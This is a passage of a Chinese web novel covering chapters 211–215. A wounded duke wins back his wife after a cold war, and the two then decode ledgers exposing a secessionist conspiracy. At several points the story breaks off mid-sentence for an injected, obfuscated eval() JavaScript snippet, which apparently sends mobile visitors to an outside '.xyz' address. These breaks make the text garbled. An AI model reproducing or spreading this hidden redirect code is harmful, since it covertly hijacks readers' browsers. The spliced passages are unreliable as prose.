李梵娘摇摇头,声音沙哑:“我就在这守着。你们出去吧,让他安静休息。” 两人不敢多言,退了出去。 笑话,这是他们老大媳妇儿,惹不起惹不起,万一以后自己病了,还得求夫人呢。 李梵娘就真的这么守着,寸步不离,时不时检查他的体温、脉搏,喂他点儿清水。 但除了必要的照料,她一句话都不说,只是静静地看着他。 有心疼,有后怕,但更多的是生气。 第二天下午,杜仁绍终于醒了。 肩部的剧痛和身体的虚弱让他瞬间清醒,记忆回笼,他猛地想起昏迷前的事情。 尤其是李梵娘那双通红含泪的眼睛,还有肩膀那隐隐作痛的牙印… 他下意识地转头,正好对上了李梵娘平静无波的眼睛。 “梵娘…”他声音干涩沙哑,带着劫后余生和心虚,“…你没事吧?我…” 李梵娘没说话,只是端过一杯温水,用勺子喂到他嘴边。 杜仁绍乖乖喝了水,还想说什么,李梵娘却已经放下杯子,拿起一旁温着的药碗,依旧沉默地喂他。 她的动作很轻柔,但就是不看他,也不接他的话。 帐内的气氛安静得有点诡异。 杜仁绍心里开始打鼓了。 他宁愿她骂他打他,也不想看她这样一言不发的样子。 “那个…我昏迷的时候,是不是…说了什么胡话?”他试探着问,心里七上八下的。 李梵娘喂药的手顿了一下,抬眼瞥了他一下,那眼神凉飕飕的,然后又垂下眼,继续喂药,还是不吭声。 杜仁绍:“……” 完了!肯定说了!而且肯定不是什么好话! 他绞尽脑汁回想,那些模糊的片段逐渐清晰。 “找个可靠的人嫁了”、“一想到你要嫁给别人心里就跟刀剐一样”…… 杜仁绍有些头皮发麻,恨不得抽自己两巴掌,他当时真是昏了头了,怎么什么混账话都往外说! 第二百一十一章 冷战 “梵娘…我那是…那是糊涂了…胡说八道的…你别往心里去…”他急急忙忙地想解释,一激动,扯到了伤口,疼得他龇牙咧嘴。 李梵娘放下药碗,拿起帕子替他擦了擦嘴角,但脸上还是没什么表情。 她擦完就又坐回凳子上,眼观鼻鼻观心,就是不搭理他。 杜仁绍心里那叫一个苦啊,比刚才喝的药还苦。 他知道这次是真把她惹**了,伤透她的心了。 接下来两天,李梵娘开启了“冷战”模式。 该换药换药,该喂饭喂饭,该擦身擦身,照顾得无微不至,专业得像个没有感情的医机器。 但除此之外,绝不主动跟他说一句话,眼神能避开就避开。 晚上睡觉就在他床边打个地铺,离得远远的。 杜仁绍几次想搭话,不是被她用眼神瞪回去,就是被她直接无视。 他伤口疼,心里更憋屈,连带着看王猛沈追都觉得他们憋着笑,日子难过极了。 这天下午,李梵娘端了药进来,身后还跟着一个穿着军医服饰的年轻男子,模样斯文清秀。 “杜…大人该换药了,下官来帮忙。”那年轻军医恭敬的说着,好奇地偷偷打量这位传说中的镇国公。 李梵娘点点头,依旧没说话,只是示意军医上前操作。 杜仁绍一看是个陌生男人要碰自己,心里本就别扭,再一看那军医年纪轻,长得还挺顺眼,自家媳妇儿还站在旁边看着… 他脑子里瞬间就闪过自己那句“找个年轻俊俏的”混账话,一股无名火夹着醋意猛地就窜了上来。 “不用他!你来!”他猛地看向李梵娘,语气又冲又急,下意识就想坐起来把她拉过来。 可他忘了自己重伤虚弱,动作太猛,一下子扯到了肩部的伤口。 “呃啊——!” 杜仁绍惨叫一声,眼前发黑,差点直接从床上滚下去。 “国公爷!”那年轻军医吓了一跳,慌忙想扶。 但有人动作更快。 李梵娘脸色骤变,一个箭步冲上前,抬手照着他没受伤的那边胳膊,结结实实地拍了一巴掌。 “啪!” “乱动什么!想死是不是!”她柳眉倒竖,眼圈瞬间红了。 那年轻军医直接吓傻了,僵在原地,动都不敢动。 杜仁绍也被她这一巴掌打懵了,都忘了疼,呆呆地看着她。 李梵娘胸口剧烈起伏,狠狠瞪了他一眼,扭头对帐外吼道:“王猛!滚进来!把你家这不省心的国公爷给我摁回床上去!再乱动就给我捆起来!” 王猛连滚爬爬地冲进来,一看这架势,啥也不敢问,赶紧和那吓傻的军医一起把龇牙咧嘴的杜仁绍扶回床上躺好。 李梵娘看都不看杜仁绍一眼,对那军医冷声道:“换药!” 说完转身就走到帐子角落,背对着他们,肩膀微微发抖。 杜仁绍躺在床上,看着她的背影,胳膊上火辣辣地疼,心里却莫名其妙地松了口气,甚至有点甜? 好歹…她终于肯跟他说话了…虽然是在骂他… 王猛一边帮着换药,一边偷偷瞄自家国公爷那咧着嘴要笑不笑要哭不哭的古怪表情,心里连天叫苦:这日子,啥时候是个头啊…… 自打那天被李梵娘拍了一巴掌又被王猛“摁”回床上后,杜仁绍算是彻底老实了。 伤口疼是真疼,但心里那点窃喜没持续多久,就又被李梵娘冷冰的后脑勺给浇灭了。 换药、喂饭、诊脉,李梵娘依旧亲力亲为。 可除此之外,依旧是一句话没有,一个眼神不多给,晚上地铺打得远远的,仿佛床上躺的是个需要精心护理的贵重物品,而不是她丈夫。 杜仁绍憋得难受,心里跟猫抓似的。 他宁愿她再骂他几句,甚至再咬他一口,也比现在这种冷刀子割肉强。 这天,李梵娘喂完药,收拾了碗勺转身又要走。 “梵娘…”杜仁绍忍不住开口,声音带着委屈,“我…我知道错了…那天是我混账,胡说八道…你…你别不理我…” 李梵娘脚步顿都没顿,就跟没听见似的,掀开帐帘就出去了。 杜仁绍:“……” 一口气堵在胸口,上不去下不来,憋得伤口都隐隐作痛。 他愁眉苦脸地躺在那儿,唉声叹气。 王猛端着茶水进来,凑过来问他,“老大,您…还好吧?” 杜仁绍没好气地瞪他一眼:“好什么好!没看见夫人都快不认我了吗?” 王猛缩了缩脖子,小声嘀咕:“那…那您倒是想想办法啊…” “想办法?我想什么办法?”杜仁绍一说这个就更郁闷了。 “我打仗行,办案也行,可这…这哄媳妇儿…我…” 他卡壳了,这事儿比带兵打仗可难多了。 王猛一脸为难:“这个…末将…末将也没媳妇儿啊…” 他一个光棍哪懂这个。 杜仁绍眼睛一瞪:“那沈追呢?他脑子活泛,叫他来!” 沈追被叫了进来,一听是这“大事儿”,脸都皱成了苦瓜:“回国公爷…卑职…卑职也尚未婚配…” 潜行探哨他在行,哄女人那是一窍不通。 杜仁绍气得直捶床板 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459038|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“废物!一群废物!连个能出主意的都没有!” 帐外守着的几个亲兵互相使眼色,憋着笑不敢出声。 杜仁绍自己生了一会儿闷气,又拉不下脸去问军医或者地方官,越想越憋屈。 他回忆以前李梵娘生气他是怎么哄的…好像…基本都是她自己消气的? 或者他死皮赖脸凑上去… 可现在他连床都下不了,死皮赖脸都没机会。 “王猛!”他又喊。 “末将在!” “你去…去城里,买点…买点姑娘家喜欢的东西回来!什么胭脂水粉、绫罗绸缎、珠宝首饰…挑最好的!” 杜仁绍挖空脑子,也就想出这么个办法。 王猛一脸懵:“啊?买…买这些?可是…夫人她…好像平时也不怎么用这些啊…” 李梵娘向来朴素,心思都在医术和正事上。 “让你去你就去!哪那么多废话!”杜仁绍恼羞成怒。 王猛只好硬着头皮去了。 半晌,扛回来一大包东西,花花绿绿,珠光宝气。 杜仁绍让王猛把东西堆到李梵娘平时坐的桌子上。 晚上李梵娘进来,看到那堆东西,愣了一下,随即眉头蹙起。 然后就像没看见一样,照常做她的事,完全无视。 杜仁绍眼巴巴地看着,心里那点期待一点点凉透… 第二天,他又让沈追去找些新奇有趣的玩意儿,什么会唱歌的鸟儿、做工精巧的机关盒… 结果依旧一样,李梵娘连眼皮都没抬一下。 杜仁绍没辙了,躺在床上长吁短叹,感觉自己比打了一场恶仗还累。 他看着李梵娘沉默忙碌的背影,心里又酸又疼。 他知道自己伤她心了,伤得挺深。 那些混账话,搁哪个女人身上都受不了,更何况是她。 他越想越后悔,恨不得时光倒流回去把自己嘴缝上。 “梵娘…”他又一次在她喂药时,弱弱地开口。 “我真知道错了…你要不打我一顿出出气?别不理我…我伤口疼…心里更疼…” 李梵娘喂药的手稳稳的,眼神垂着,睫毛颤了一下,但依旧紧抿着唇,一言不发。 喂完药收拾东西,转身离开,一气呵成。 杜仁绍看着她决绝的背影,心里凉飕飕的。 他瘫在床上,望着帐顶,一脸的生无可恋。 哄媳妇儿好难啊… 王猛和沈追躲在帐外,看着自家国公爷那副愁云惨淡的样子,也是爱莫能助。 看来这冷炕头,国公爷还有得熬呢… 第二百一十二章 持续 帐内烛火摇曳,将杜仁绍孤零零躺在行军榻上的身影拉得忽长忽短。 空气中弥漫着浓重的草药味。 李梵娘端着一碗新煎好的汤药走进来,她神色淡得像秋日无波的湖面,看不出丝毫情绪。 目光低垂,专注的看着手里的药碗,仿佛榻上那个人只是一件贵重物品,而不是和她同床共枕的夫君。 杜仁绍几乎是立刻就察觉到了她的进入,喉结不自觉地滚动了一下。 他看着她走近,清了清嗓子,想要打破这令人窒息的沉默。 “梵娘…”声音带着讨好,“今日…外头天色似乎亮堂了些?” 李梵娘正拧着帕子的手几不可察地顿了一下,随即又继续动作,用帕子替他擦拭额角的虚汗。 她没有抬头,也没有回应,仿佛只什么也没听到。 杜仁绍心头一涩,不甘心地又试了一次:“这伤口…昨夜似乎没那么疼了,你的药极好。” 这次李梵娘终于有了反应。她抬起眼皮,看了他一眼。 但那眼神平静无波,像是在看一个普通的病患,评估着他的恢复情况,仅此而已。 然后她点了点头,算是认可了“药极好”这个事实,依旧一言不发。 她扶他稍稍坐起,将药碗递到他唇边。 杜仁绍就着她的手,喝着那苦涩的汤汁。 药的苦远不及他心头泛起的苦涩。 他从未觉得喝药是如此煎熬的一件事。 他宁愿她像从前那样,因为他不好好喝药而瞪他,甚至数落他两句,也好过现在这样将他隔绝在外的沉默。 他几次想再开口,嘴唇翕动,却在碰上李梵娘的眼睛时,所有的话都被堵回了喉咙。 喂完药,李梵娘利落地收拾好碗勺,转身就往帐外走。 没有丝毫留恋,甚至没有多看他一眼。 “梵娘!”杜仁绍忍不住提高了一点声音,带着急切。 她在帐帘前停下,却没有回头,只是微微侧了侧身子,示意自己在等他说什么。 杜仁绍所有的话在她不愿意回头看自己时,都化为了无力。 他颓然地塌下肩膀,声音低了下去:“…没什么…你去忙吧。” 李梵娘这才掀开帐帘,迅速消失在晨光中,没有一丝犹豫。 帐内安静的只剩下杜仁绍的呼吸声。 他猛地一拳砸在身下的软榻上,牵动了肩胛的伤口,一阵刺痛传来,额角渗出细密的汗。 “该死!”他低咒一声,不知是在骂这不合时宜的伤口,还是在骂自己那日的混账言行。 不知过了多久,帐外传来王刻意放轻的脚步声。 “老大?”王猛探进头来。 “进。”杜仁绍没好气地应了一声,语气冲得连他自己都愣了一下。 王猛缩着脖子进来,先是飞快地瞟了一眼自家国公爷难看的脸色,又下意识地扫视了一圈空荡荡的军帐,心里明白了七八分。 他咽了口唾沫,硬着头皮开始汇报公务。 “回国公爷,顾兆安那厮嘴硬得很,审了半天只反复说是奉命行事,更高层级的联系他一概不知,所有往来文书阅后即焚…” “倒是吐露了一个地点,在苏州城西的一处废弃丝织坊,已经派人去查了。” 杜仁绍心不在焉地听着,手无意识地抠着身下的毡毯。 “嗯,知道了,江南那边有什么动静?” “苏州知府被咱们的人拿下后,暂时由通判代理政务,表面还算平静。” “但底下几个与顾家来往密切的几个世家都闭门谢客,商行也有些异常的资金流动。” “陛下的意思是让我们暗中彻查,必要时可调动江南大营兵马…” 王猛正汇报着,却发现国公爷的眼神飘忽,显然没听进去多少。 他顿了顿,“老大…您和夫人…这…这还没缓过来呢?” 杜仁绍正一肚子火没处发,听到这话瞪了他一眼。 “你很闲?要不要去校场操练两个时辰?” 王猛脖子一缩,赶紧摆手:“不闲不闲,我这就去盯着丝织坊那边的消息!” 说完赶紧跑了出去。 神仙打架,别霍霍他啊。 帐内又只剩下杜仁绍一人。 他躺下望着帐顶,脑海中不受控制地回想起昏迷前那些模糊的片段。 自己都说了些什么混账话? “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16459039|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找个可靠的人嫁了”? “一想到你要嫁给别人心里就跟刀剐一样”? 当时只觉得是情急之下的胡言乱语,怕她一个人会被欺负,又接受不了她有别人。 可现在细细回味,那每一个字都像是一根针,扎在她心上,又何尝不是扎在他自己的心上? 她一路走来,从杜家村到京城,从云州到北境,再到这江南,何曾倚仗过谁? 何曾需要他那种近乎施舍一样的“安排”? 她凭的是自己一身通神的医术,是一颗悲天悯人的心。 他杜仁绍能娶她为妻,是几世修来的福分,可他竟然… 懊悔和自责像潮水一样将他淹没。 他烦躁地闭上眼。 她现在对他的无视,让他有些恐慌。 他习惯了战场上的冲锋陷阵,习惯了朝堂上的运筹帷幄,可面对妻子的沉默,他第一次觉得自己又笨又无能。 日头渐渐升高,帐内变得有些闷热。 杜仁绍躺在榻上,肩伤带来的不适远不及心里头的憋闷来得折磨人。 他盯着帐顶,脑子里反复盘算着该如何让媳妇儿原谅自己。 道歉的话说了无数遍,她听不进去。 送那些金银珠宝、奇巧玩意,她看都不看。 他杜仁绍纵横半生,何曾这般狼狈过? 硬的不行,软的无效…或许…只能试试更…更不要脸皮的法子了? 这个念头一冒出来,连他自己都觉得有些可笑。 让他堂堂镇国公、玄甲军统帅去…去撒娇耍赖? 光是想想,耳根就有些发烫。 可目光扫过空荡荡的床榻边,想起李梵娘将他拒于千里之外的眼睛,杜仁绍心一横。 脸?脸是啥? 在把媳妇儿哄好面前,脸算个屁! 午饭后,李梵娘准时端着一碗黑乎乎的汤药再次进来。 依旧是那副清冷模样,目不斜视,将药碗放下,准备扶他起来。 杜仁绍深吸一口气,开始了他的“表演”。 他没有像往常那样配合借力坐起,而是皱着眉头,嘴里发出压抑的抽气声,身体蜷缩,看起来十分脆弱。 第二百一十三章 戏精 “呃…梵娘…慢点…慢点…这肩膀…不知怎地,突然针扎似的疼…是不是昨日绷带绑得太紧了?”他声音虚弱,带着点委屈,眼神偷偷瞟向她。 李梵娘正准备扶他的手顿在了半空。 她目光落在他紧蹙的眉心和渗汗的额角上。 她没有说话,而是伸手隔着纱布,按压检查他肩胛周围的肌肉和绷带的松紧度。 她的指尖微凉,杜仁绍能感觉到她呼吸似乎屏住了一瞬。 “绷带无恙。” 片刻后,她收回手,声音依旧平淡,但杜仁绍敏锐地捕捉到那语调似乎比之前缓和了那么一丢丢。 “可能是卧床日久,筋肉僵滞。勿要乱动。”她说着,依旧扶他坐起,然后将药碗递到他嘴边。 杜仁绍心中窃喜,有门! 喝药的时候,他故技重施。 抿了一口,立刻苦着脸,舌头都伸不直了。 “这药…今日怎地格外苦?烧心灼肺的…媳妇儿,有蜜饯没有?实在咽不下去…” 李梵娘看着他夸张的表情,沉默了两秒。 然后,转身从一旁的药箱里取出一个小瓷罐,挑了一块蜂蜜膏递到他唇边。 “吃了,不要耽搁喝药。” 杜仁绍就着她的手含住那蜜膏,甜意在舌尖化开,一路甜到了心里。 他乖乖地把剩下的药一口气喝完,然后眼巴巴地看着她。 李梵娘收拾着药碗,无视了他的目光。 但转身时,杜仁绍还是看到她几不可闻地吁了一口气。 接下来的一整个下午,杜仁绍充分发挥了他所能想象到的、一个“重伤虚弱”病人所能有的所有“需求”。 “梵娘…我有点冷…这被子…好像不顶用…”他声音哆嗦着,其实帐内闷热,他后背都快出汗了。 李梵娘正在不远处整理药材,闻言动作一顿。 她走过来,伸手探了探他露在被子外的手,温热甚至有些汗湿。 她没说话,只是默默地将滑落的被子往上拉了拉,仔细掖好被角。 “水…口好渴…杯子…够不着…”他看着水杯,眼神无助。 李梵娘看了看那触手可及的杯子,又看了看他“虚弱”地连抬手都费劲的样子。 终究还是拿起杯子,递到他嘴边喂了几口。 每一次她的回应,都让杜仁绍心头那点希望的小火苗燃得更旺一些。 他像个尝到甜头的孩子,越发小心地试探着她的底线。 傍晚时分,王猛再次进来请示事务。 一抬眼就看到他们英明神武的国公爷,正用一种他从未听过的黏糊语气,对着夫人抱怨伤口痒痒,要夫人给看看是不是快长新肉了。 王猛脚下一个趔趄,差点被门槛绊倒。 他死死咬住自己的舌头,才把到嘴边的笑给憋回去,脸涨得通红,赶紧低下头,肩膀却控制不住地抖。 杜仁绍一个眼刀甩过去,带着警告。 王猛立马绷紧脸,目不斜视,用最快的速度汇报完逃出军帐,帐外隐约传来他实在憋不住的噗嗤声。 杜仁绍脸上有点挂不住,但转念一想,只要能把媳妇儿哄好,面子算什么? 丢就丢了! 夜色渐深,军帐内只留了一盏昏黄的油灯。 李梵娘在榻边打了个地铺,和衣躺下,背对着他,呼吸平稳,似乎已经入睡。 杜仁绍开始在床上左右翻身,被子被他弄出响声。 地铺上的人影一动不动。 杜仁绍心一横,开始含混不清的说梦话,声音不大,但绝对能让媳妇儿听到。 “梵娘…别…别走…” “我错了…真的知错了…” “别不理我…心里…难受…” “别嫁别人…谁都不行…” 他断断续续地呢喃着,将白日里不敢直接说出口的忏悔和恐慌,借着梦话宣泄出来。 他的声音有些颤抖,带着自己都没注意的脆弱。 他看不到她的表情,却能感觉到那边的呼吸停了一瞬,随后变得有些紊乱。 他好像听到了一声叹息,很轻,不仔细听的话都听不到。 但她依旧没有转身。 杜仁绍的心也沉了下去。 难道…还是不行吗? 失落的感觉涌上心头,他停止了表演,怔怔地望着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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李梵娘被他的话说的愣在原地。 “梵娘……” 看着他通红的眼眶,声音有些哽咽,他因为激动和疼痛还有些颤抖。 李梵娘做好冷落他一周多的心,瞬间软了。 多日的担忧、恐惧、委屈、心痛如同决堤的洪水,瞬间冲垮了。 眼泪落得毫无征兆,顺着脸滚落下来。 第二百一十四章 和好 眼泪落得毫无征兆,顺着脸滚落下来。 “你知不知道…知不知道我快吓**!” 她终于哭出声来,声音破碎,带着哭腔,一直强撑的冷静彻底崩塌。 她另一只手握成拳,狠狠地捶打着他没有受伤的肩窝和胸膛,却又小心地避开了他所有的伤处。 “你要是真出了事…你要是…你还说那种话!杜仁绍!你混蛋!你混蛋!” 她哭得浑身发抖,多日来的压抑和恐惧在这一刻彻底释放出来。 杜仁绍任由她捶打着,心被她的眼泪灼得生疼。 他将她的手紧紧贴在自己心口,一遍遍地重复:“是我混蛋!是我该死!你打!使劲打!出气就好…别憋着…梵娘,别哭了…我心疼…” 他想用未受伤的手将她揽在怀里,李梵娘挣扎了一下,最终乖乖趴在他没有受伤的肩头。 温热的泪水迅速浸湿了他的衣襟。 杜仁绍紧紧抱着她,像是抱着失而复得的宝贝,下颌抵着她的发顶,一遍遍地在她耳边低语、道歉、保证。 不知过了多久,李梵娘的哭声渐渐小了,变成了低声的啜泣。 帐内只剩下两人粗重不均的呼吸声和彼此剧烈的心跳。 情绪宣泄过后,是短暂的静默和尴尬。 李梵娘从他怀里抬起头,眼睛肿得像桃子,鼻尖也红红的。 她看着杜仁绍同样狼狈的样子,看着他肩头洇出的新鲜血迹,脸色又是一变。 “别动!让我看看!”她哑着嗓子,带着浓重的鼻音,语气恢复了往常的关心。 她小心翼翼地扶他坐好,解开他染血的绷带,仔细检查伤口。 幸好只是轻微撕裂,并未伤及根本。 她松了口气,立刻重新清洗、上药、包扎。 杜仁绍乖乖坐着,目光一瞬不瞬地追跟着她,看着她红肿的眼睛和侧脸,心里满是失而复得的庆幸和酸软。 “梵娘…”他低声唤她。 “嗯。”她低低应了一声,手下动作不停。 “真的…不生气了?” “生气…但也怕。你若真…我…” “不会!绝不会!”杜仁绍立刻打断她,把人抱在怀里。 “为了你和春儿,我也得长命百岁。”他顿了顿,声音带着讨好的意思。 “就是这伤…怕是还得劳烦夫人辛苦照料些时日…” 李梵娘抬起头瞪他:“知道麻烦我还乱动?” “不敢了,再不敢了。”杜仁绍立刻保证,眼巴巴地望着她。 “就是…这帐子里药味重,躺着也闷得慌…梵娘,你陪我说说话,嗯?” 他这是在撒娇? 李梵娘愣了一下,有些不适应。 她“嗯”了一声,起身想去给他倒水,手腕却被拉住。 “别走…”杜仁绍看着她,“就让王猛他们忙去,你…就在这儿陪着我。” 李梵娘看着他,终究没忍心抽回手,重新在榻边坐下:“好,我不走。” 杜仁绍这才像是松了口气,指尖无意识地摩挲着她的手腕,仿佛这样才能确认她真的还在身边。 接下来的大半日,杜仁绍几乎成了李梵娘的“专属挂件”。 喝水要她喂,喝药后嫌苦,非要她就着手喂他一口蜜膏才肯罢休。 看书信公文,也非要她坐在榻边念给他听,美其名曰“伤神费力,需夫人代劳”。 甚至偶尔伤口有一点点疼,他也会立刻蹙起眉头,哼唧两声,引得李梵娘着急查看。 他顺势握住她的手,轻轻捏着,仿佛这样便能止痛。 李梵娘由着他去,知道他这是变着法儿地寻求安抚,那两天冷战吓到他了。 她虽然有些无奈,但也纵着他孩子气的粘着自己。 王猛和沈追进来汇报时,看到自家国公爷半倚在榻上,一边听着汇报,一边眼神时不时飘向一旁安静看书的夫人,偶尔还会问一句“梵娘,你觉得此事如何?”。 两人都是努力憋着笑,眼观鼻鼻观心,不敢多瞧,生怕自家老大跟他们急。 直到傍晚,杜仁绍的精神似乎才好些。 他示意王猛将那个从密里带出来的铁盒搬来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462646|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “梵娘,”他朝她伸手,“此事关重大,需要你我一同参详。” 李梵娘放下医书,走过去。 杜仁绍自然地拉着她在榻边坐下,身体微微倾向她,几乎将她半圈在怀里,下巴虚虚抵着她的发顶。 铁盒打开,里面是码放整齐的账册、名单和一些密信。 杜仁绍拿起最上面那本账册递给李梵娘:“我受伤了,得麻烦夫人了。” 李梵娘接过翻开,杜仁绍的左手便环过来,替她扶着书页的另一边,指尖偶尔划过她的手背,带着温热的触感。 账目的数量大到令人叹为观止。 巨额银钱、珍稀药材、矿产、甚至人口…流向错综复杂,涉及江南数十家看着毫无关联的商行、钱庄,以及…几个模糊的代称。 “你看这里,”李梵娘指着一处频繁出现的标记,那是一个扭曲的云纹环绕着一座小亭的图案,与那银色令牌上的图案一致。 “‘云山亭’…看来这就是他们的自称。” 杜仁绍眼神冰冷:“敛财数量这么多,足以支撑一支私军。还有这些药材…许多都是朝廷明令管制的毒物和稀有药材。” 他又抽出几封密信。 信上字迹潦草诡异,用语及其隐晦,提到“试验”、“货品折损”、“新方成效”,字里行间都透着一股非人的冷酷。 “还有这份名单…”杜仁绍的声音愈发沉凝。 名单上罗列着许多名字,后面标注着官职、籍贯、甚至家族关系。 其中一些,竟是在地方上颇有清名的官员,甚至…有一两个名字,隐约能与京中的某些势力扯上关系。 李梵娘越看越是心惊:“他们竟然手伸的这么长?这些‘试验’…应该就是用…” 她想起密室中那些可怕的器皿和记录,胃里一阵翻腾。 杜仁绍将她揽紧了些,沉声说着:“恐怕不止。这么庞大的网络,绝是不仅仅只是为了敛财或做这些骇人听闻的试验。” “你看这些资金最终流向的几个模糊点位,以及这些和京中隐约相关的名字…他们所图的恐怕是……。” 第二百一十五章 新发现 帐内一时间只有油灯偶尔爆开的声音。 杜仁绍见李梵娘眉头紧锁,不由放柔了声音:“今日且看到这里,这些污秽东西,莫要久看,伤神。” 李梵娘却摇摇头,目光依旧落在名单上一处:“我没事,只是觉得这件事背后,恐怕还藏着我们没有触及到的东西。” “嗯,”杜仁绍赞同,“需要从长计议。” 夜色渐深,帐外寒意渐重。 李梵娘看着杜仁绍喝了药,自己也简单收拾了一下。 当她抱着被褥,习惯性的打地铺时,杜仁绍却拉住了她的衣袖。 “梵娘…”他声音低低的,眼睛直勾勾地看着她,“地上凉…就在这儿吧?” 他说着还往榻的内面挪了挪,空出位置,“我保证不乱动…就…就想挨着你近些。” 李梵娘看着他,烛光下他脸色依旧苍白。 沉默片刻,最后还是妥协了。 吹熄了烛火,帐内陷入一片黑暗。 军榻并不算太宽敞,两人并排躺下,能感受到彼此的体温和呼吸。 杜仁绍小心翼翼地伸出左臂,轻轻环住她的腰,将她往自己怀里带了带,确保不会压到伤处。 下巴抵着她的发顶,深吸了口气,鼻尖全是她身上淡淡的药香和体香,一直紧绷的心神才安定下来。 “睡吧。”他在她发间落下一个极轻的吻。 李梵娘在他怀里轻轻动了动,找到最舒适的位置,“嗯。” 可能是因为自家媳妇儿终于原谅自己了,心里踏实了,杜仁绍很快就睡着了。 李梵娘却一时半会儿睡不着,脑子里一直想着账册上的数字和名单上的名字。 她在黑暗中睁着眼,思绪纷杂。 直到身后的人无意识地将她搂得更紧了些,她才缓缓闭上眼强迫自己睡觉。 翌日清晨,李梵娘醒来时,发现杜仁绍早就醒了,正侧着身一瞬不瞬地看着她,眼里满是爱意。 “醒了?”他声音有些沙哑,左臂依旧环着她,“睡得可好?” 李梵娘摇头,“心里有事,睡不踏实。” 杜仁绍叹了口气,将她往怀里又拢了拢:“我也是。” “但饭要一口一口吃,事要一件一件办,先起身吃点东西,再继续研究那些东西。” 两人起身洗漱吃早饭。 饭后,那张矮几又被抬到榻前,账册名单密信再次铺开。 杜仁绍肩伤未愈,行动不便,主要靠李梵娘翻阅和讲解,他仔细听着,不时提出关键问题。 “系统,帮我分析一下这些账册的记账规律、暗语代号,和名单交叉比对,标记出所有异常资金流向和可疑的地方。” 【收到,宿主大大,扫描中…比对中…】 系统的效率极高。 很快,在李梵娘的视野中,账册上的数字和名字开始出现只有她能看见的色块儿标记和连线。 “你看这里。”李梵娘指着一处频繁出现的大数额支出。 “这笔钱每隔三个月便通过‘隆昌号’钱庄流出去,最终流向记的是不清楚。” “但看我们的人查到了这笔钱的流向,最终接收的几个商行,多是经营铁器、皮革、马匹。” “这分明就是在筹备私兵。” 杜仁绍眼神一厉:“隆昌号…是苏州顾家暗中控股的钱庄之一,继续!” “还有这些,”李梵娘又抽出几页,“购买了大量硫磺、硝石、铅粉,名义上是制药或烟花,但这么大的量,根本不符合常理。” “更不用提他们还买了许多朝廷严格管控的药材,像是乌头、**、曼陀罗…与他们那密室里的‘试验’对得上。” 她手指划过名单上的几个名字:“这几个太医院的医官、地方上的名医,他们的家族或本人,和这些药材的采购、运输都有千丝万缕的联系。” “甚至…有两位的家人,就在名单之上。” 杜仁绍冷笑:“用朝廷的太医,用民间的名医,为他们研制那些害人的毒物和邪药,真是好算计!” 【宿主,有新发现。】 系统突然出声提示,【这几封密信用的墨和纸有些奇怪,应该是需要特定药水。】 李梵娘立刻从药箱中取出几个小瓷瓶,按照系统的提示调配出药水,用棉签小心地涂抹在几封看起来最为普通的家书上。 很快在信纸空白处浮现出另一行行更加隐秘的小字。 当看清上面的内容时,连杜仁绍都倒吸了一口凉气。 上面不仅提到了几种正在试验阶段,可用于大面积污染水源或粮草的**配方。 还隐约提及了在几位边疆大将、甚至一位皇室宗亲身边“种钉子”的进展,以及…等待“京中大风起”的信号。 “他们…他们这不只是想敛财,…”李梵娘声音有些发颤,“他们这是要…要…” “是要掘我大胤的根!”杜仁绍接过话,脸色铁青,一拳砸在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462647|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矮几上。 “腐蚀朝纲,掌控军资,渗透军队,甚至把手伸进了宗室,等待合适的机会里应外合。” “这‘云山亭’是想将这江南乃至更多地方,从大胤版图上割裂出去,自立为王。” 帐内一片死寂。 虽然早有预料,但当这一切有了准确的证据后,冲击依旧不小。 良久,杜仁绍缓缓吐出一口浊气。 “这些东西,必须立刻上报陛下,光凭我们如今在江南的人手,不足以应对这些。” 他看向李梵娘:“梵娘,帮我研磨,我要写密奏。” 李梵娘点头,迅速铺纸研墨。 杜仁绍强忍着肩伤疼痛,将目前所获的证据、他们的分析判断,以及江南局势的严峻性,尽数写下。 